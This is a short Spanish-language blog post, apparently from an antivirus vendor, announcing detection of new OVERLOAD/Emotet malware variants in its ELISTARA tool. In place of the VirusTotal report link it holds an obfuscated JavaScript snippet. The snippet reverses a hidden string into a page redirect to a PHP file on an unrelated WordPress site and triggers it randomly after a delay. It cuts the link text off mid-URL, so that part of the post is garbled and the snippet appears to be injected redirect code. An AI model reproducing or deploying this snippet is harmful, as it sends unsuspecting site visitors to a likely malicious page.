NUEVAS VARIANTES DE MALWARE OVERLOAD (alias EMOTET)

Seguimos recibiendo muestras de las nuevas variantes del malware OVERLOAD que hasta hace poco los controlabamos como PROCNCB, y que tambien se conocen como EMOTET

Los pasamos a controlar a partir dekl ELISTARA 38.69 de hoy

Los informes del preanalisis del virustotal son los siguientes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/636aa17bea0bd274edd1171c72bee5b339a670132853b8cfb3c31a7373f186cb/analysis/1521459774/” target=”_blank” rel=”noopener”>analisis del fichero OverloadAllow(07)

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.